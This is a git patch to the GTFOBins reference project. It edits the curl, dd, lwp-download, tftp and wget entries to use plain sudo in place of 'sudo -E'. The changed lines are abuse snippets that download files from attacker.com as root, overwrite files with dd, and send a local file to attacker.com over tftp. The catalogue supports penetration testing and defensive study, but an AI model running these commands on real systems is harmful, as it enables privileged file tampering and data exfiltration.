From 9cd6849b8ec749e5b4fc9301b0229412682fd411 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Wed, 10 Jun 2020 22:53:45 +0200 Subject: [PATCH] Remove useless instances of sudo -E --- _gtfobins/curl.md | 2 +- _gtfobins/dd.md | 2 +- _gtfobins/lwp-download.md | 2 +- _gtfobins/tftp.md | 2 +- _gtfobins/wget.md | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/_gtfobins/curl.md b/_gtfobins/curl.md index 3c7db92..94ec251 100644 --- a/_gtfobins/curl.md +++ b/_gtfobins/curl.md @@ -28,5 +28,5 @@ functions: code: | URL=http://attacker.com/file_to_get LFILE=file_to_save - sudo -E curl $URL -o $LFILE + sudo curl $URL -o $LFILE --- diff --git a/_gtfobins/dd.md b/_gtfobins/dd.md index 410a774..9b69fd9 100644 --- a/_gtfobins/dd.md +++ b/_gtfobins/dd.md @@ -15,5 +15,5 @@ functions: sudo: - code: | LFILE=file_to_write - echo "data" | sudo -E dd of=$LFILE + echo "data" | sudo dd of=$LFILE --- diff --git a/_gtfobins/lwp-download.md b/_gtfobins/lwp-download.md index f110a03..ff5b77a 100644 --- a/_gtfobins/lwp-download.md +++ b/_gtfobins/lwp-download.md @@ -15,5 +15,5 @@ functions: - code: | URL=http://attacker.com/file_to_get export LFILE=file_to_save - sudo -E lwp-download $URL $LFILE + sudo lwp-download $URL $LFILE --- diff --git a/_gtfobins/tftp.md b/_gtfobins/tftp.md index 1186c87..1b35974 100644 --- a/_gtfobins/tftp.md +++ b/_gtfobins/tftp.md @@ -22,6 +22,6 @@ functions: - description: Send local file to a TFTP server. code: | RHOST=attacker.com - sudo -E tftp $RHOST + sudo tftp $RHOST put file_to_send --- diff --git a/_gtfobins/wget.md b/_gtfobins/wget.md index b15644a..1280392 100644 --- a/_gtfobins/wget.md +++ b/_gtfobins/wget.md @@ -23,5 +23,5 @@ functions: code: | export URL=http://attacker.com/file_to_get export LFILE=file_to_save - sudo -E wget $URL -O $LFILE + sudo wget $URL -O $LFILE ---